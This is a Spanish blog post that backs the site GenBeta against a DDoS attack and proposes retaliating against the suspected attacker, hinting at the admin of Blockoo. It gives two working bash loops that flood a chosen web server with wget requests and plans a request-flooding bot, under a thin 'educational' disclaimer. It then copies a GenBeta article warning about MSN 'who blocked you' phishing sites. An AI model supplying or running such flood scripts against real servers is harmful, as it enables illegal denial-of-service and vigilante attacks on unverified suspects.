Solidarizándonos con GenBeta.

A través de menéame me he enterado de que algún graciosillo está lanzando un ataque DDOS contra genbeta por un artículo acerca de esos odiosos “quien te admite en el MSN” y similares (personalmente os recomiendo jabber donde esas artimañas no son necesarias 🙂 ). Así que este blog se va a solidarizar con genbeta y va a sugerir (con fines educativos) una forma de devolverle el golpe al responsable del ataque (ahora mismo se sospecha del admin de Blockoo pero igual no lo es).

En fin, empezaremos por dar unas nociones básicas de que tipo de ataque se podría hacer contra este tipo de servicios, pero siempre con fines educativos y recordando que los ataques DOS y DDOS son ilegales en España y en otros países por lo que dejo esto con un fin meramente ilustrativo y no recomiendo usarlo si no es para hacer pruebas en redes propias.

En primer lugar tenemos el tradicional ataque DDOS, simple y eficaz. Para hacerlos nos bastaría con ejecutar en Linux en una consola:
while(true); do wget -q -O /dev/null "http://www.responsable.ext"; done
y estaremos haciendo un ataque DOS a pequeña escala contra (en este caso) el servidor web responsable.ext si cambiais el nombre del servidor pues entonces atacaréis a otro servidor 🙂 Aquí os propongo una versión un poco mejorada que espera una cantidad de tiempo aleatoria entre 0 y 10 segundos y cuenta las peticiones generadas.
WAITMAX=10; WEB="http://responsable.ext"; PETS=0; while(true) do wget -q -O /dev/null "$WEB"; PETS=`expr "$PETS" + 1`;clear; echo "Enhorabuena, ya has realizado $PETS peticiones ;)"; sleep `expr $RANDOM % \( "$WAITMAX" + 1 \)`; done;
Cambiando los valores a la derecha del igual en WAITMAX y en WEB podéis elegir la víctima y el tiempo máximo de espera 🙂

Sin embargo, yo había pensado en algo más divertido que aún estoy viendo como se podría llevar a cabo, un ataque DDOS basado en solicitud de servicios. Que consistiría en mejorar el script en bash anterior para que hicera solicitudes reales con una cuenta hecha para la ocasión. Cuando vea como hacerlo actualizaré y os indicaré cual es la cuenta creada para hacer unas pruebas para tal fin (a fin de que nos agreguemos mutuamente para que el bot tenga que mandar más solicitudes 😉 ).

Finalmente aquí os dejo un C&P del artículo escrito por Víctor de Genbeta:

¿Quieres saber quién te tiene no admitido/eliminado en el MSN? Pues no des tu contraseña a desconocidos
Víctor Pimentel

Parece mentira que después de tanto tiempo (¡años ya!) del invento de este fraude todavía haya gente que siga cayendo en él. Es muy simple, y seguro que muchos lo conocéis, simplemente se trata de páginas que ofrecen el servicio de mostrarte quién te tiene como no admitido o te ha eliminado del mésenyer a cambio de que les des tu datos de conexión, es decir, tu usuario y contraseña. Creía que este negocio ya estaba más que muerto, pero hoy mismo un par de contactos míos me han saltado con la típica ventanita que me acceda a una de esas páginas para que me lea el futuro.

Como norma general, dar la contraseña de tu correo a alguien que no pertenezca a tu familia ya es un suicidio tecnológico, y en este caso sería como darle la contraseña de tu tarjeta de crédito a una persona desconocida para que te muestre el dinero que tienes. ¿Quieres saber qué es lo que hacen? La mayoría de páginas, después de mostrarte esa información, se conectan a tu cuenta varias veces al día para molestar a todos tus contactos con spam descarado. Lo que es peor, esto puede colapsar tu cuenta y no sería raro que la perdieras para siempre, o al menos que la conexión sea pésima. Así que ya sabes, no des tu contraseña a ningún sitio web, o atente a las consecuencias.

Pero claro, ¡tú quieres saber quién te tiene como no admitido! Sorpresa: esos sitios, además de ser peligrosos, no funcionan. Microsoft cambió hace tiempo el protocolo para que los servidores de msn no difundieran esta información. Antes sí podías, pero ahora mismo ni siquiera puedes saber el estado de otra persona sin que ella te invite/admite o sin saber la contraseña de la cuenta (sin cambiar la configuración de la cuenta). Sin rebuscar demasiado, algunos sitios fraudulentos que siguen esta práctica serían: blockoo.com, scanmessenger.com, detectando.com, quienteadmite.info, checkmessenger.net, blockstatus, etc… Todos ellos son potenciales phishing, y ninguno funciona más allá de recolectar cuentas de correo.

Disculpad los lectores avanzados que ya habéis dejado atrás este tipo de engaños facilones hace mucho tiempo, pero es que hoy me he vuelto a conectar al messenger por obligación y me he dado cuenta de que las cosas han cambiado muy poquito.